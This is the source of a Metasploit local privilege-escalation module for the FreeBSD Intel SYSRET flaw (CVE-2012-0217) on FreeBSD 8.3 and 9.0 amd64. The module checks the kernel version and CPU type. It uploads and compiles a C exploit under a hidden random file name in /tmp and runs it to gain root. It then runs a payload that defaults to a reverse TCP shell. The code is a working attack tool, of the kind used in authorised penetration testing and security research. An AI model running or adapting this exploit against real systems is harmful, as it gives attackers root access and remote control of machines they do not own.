FreeBSD Intel SYSRET Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in the FreeBSD kernel,  
when running on 64-bit Intel processors.  
  
By design, 64-bit processors following the X86-64 specification will  
trigger a general protection fault (GPF) when executing a SYSRET  
instruction with a non-canonical address in the RCX register.  
  
However, Intel processors check for a non-canonical address prior to  
dropping privileges, causing a GPF in privileged mode. As a result,  
the current userland RSP stack pointer is restored and executed,  
resulting in privileged code execution.  
  
This module has been tested successfully on:  
  
FreeBSD 8.3-RELEASE (amd64); and  
FreeBSD 9.0-RELEASE (amd64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Rafal Wojtczuk', # Discovery  
'John Baldwin', # Discovery  
'iZsh', # Exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2012-06-12',  
'Platform' => ['bsd'],  
'Arch' => [ARCH_X64],  
'SessionTypes' => ['shell'],  
'References' =>  
[  
['BID', '53856'],  
['CVE', '2012-0217'],  
['EDB', '28718'],  
['PACKETSTORM', '113584'],  
['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],  
['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],  
['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],  
['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],  
['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],  
['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']  
],  
'Targets' =>  
[  
['Automatic', {}]  
],  
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },  
'DefaultTarget' => 0))  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
cmd_exec "chmod +x '#{path}'"  
end  
  
def upload_and_compile(path, data, gcc_args='')  
upload "#{path}.c", data  
  
gcc_cmd = "gcc -o #{path} #{path}.c"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
output = cmd_exec gcc_cmd  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile"  
end  
  
register_file_for_cleanup path  
chmod path  
end  
  
def exploit_data(file)  
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-0217', file)  
end  
  
def is_root?  
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')  
end  
  
def strip_comments(c_code)  
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')  
end  
  
def check  
kernel_release = cmd_exec('uname -r').to_s  
unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/  
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"  
return Exploit::CheckCode::Safe  
end  
vprint_good "FreeBSD version #{kernel_release} appears vulnerable"  
  
arch = cmd_exec('uname -m').to_s  
unless arch.include? '64'  
vprint_error "System architecture #{arch} is not supported"  
return CheckCode::Safe  
end  
vprint_good "System architecture #{arch} is supported"  
  
hw_model = cmd_exec('/sbin/sysctl hw.model').to_s  
unless hw_model.downcase.include? 'intel'  
vprint_error "#{hw_model} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "#{hw_model} is vulnerable"  
  
CheckCode::Appears  
end  
  
def exploit  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload and compile exploit executable  
executable_name = ".#{rand_text_alphanumeric 5..10}"  
executable_path = "#{base_dir}/#{executable_name}"  
upload_and_compile executable_path, strip_comments(exploit_data('sysret.c')), '-Wall'  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Launching exploit...'  
output = cmd_exec executable_path  
output.each_line { |line| vprint_status line.chomp }  
  
unless is_root?  
fail_with Failure::Unknown, 'Exploitation failed'  
end  
print_good "Success! Executing payload..."  
  
cmd_exec payload_path  
end  
end  
`